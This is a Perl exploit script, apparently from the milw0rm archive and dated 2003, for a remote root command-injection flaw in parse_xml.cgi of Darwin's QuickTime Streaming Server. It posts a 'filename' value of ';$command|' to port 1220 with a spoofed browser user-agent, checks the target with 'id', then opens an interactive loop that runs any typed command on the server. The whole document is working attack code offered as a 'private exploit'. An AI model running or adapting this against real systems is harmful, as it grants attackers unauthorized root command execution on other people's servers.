#!/usr/bin/perl # # QTTS REMOTE ROOT exploit by FOX_MULDER (fox_mulder@abv.bg) # FOX_MULDER PRESENTS fox_mulder_at_abv.bg # # Darwin(OSX)4.x(?) 5.X QTSS(Quick Time Stream Server) 3.X # # The bug in Darwin 5.X with unpatched QTSS in parse_xml.cgi which lead to remote root compromise: # $filename = $query->{'filename'}; # $templatefile = $query->{'template'}; # Based on http://wbyte.ath.cx/~wbyte/researches/qtss-core.txt# ########################### use IO::Socket; use LWP::Simple; use LWP 5.64; sub Usage { print STDERR "\nQTTS REMOTE ROOT EXPLOIT BY FOX_MULDER !!!\n"; print STDERR "Usage:cenex.pl \n"; exit; } if (@ARGV < 1) { Usage(); } $host = @ARGV[0]; print "\n\n !!!PRIVATE EXPLOIT!!! \n\n"; print "Darwin QTTS Remote Root Exploit by FOX_MULDER\n"; print "\n[+] Conecting to $host\n"; &check($command="id"); &hack($command="uname -a;id"); while () { print "Command# "; while() { $command=$_; chomp($command); exit() if ($command eq 'exit'); last; } &hack($command); } &hack($command); sub hack{ my $browser = LWP::UserAgent->new; $browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'); my $url = "http://$host:1220/parse_xml.cgi"; my $response = $browser->post( $url, [ 'filename' => ";$command|" ] ); die "Received invalid response type", $response->content_type unless $response->content_type eq 'text/html'; print $response->content; } sub check{ print "[+] Checking if vulnerable . . .\n"; my $browser = LWP::UserAgent->new; $browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'); my $url = "http://$host:1220/parse_xml.cgi"; my $response = $browser->post( $url, [ 'filename' => ";$command|" ] ); my $code = $response->status_line; if($code != 200){ print "Not vulnerable\n"; exit; } print "[+] Status $code ...\n"; } # milw0rm.com [2003-02-24]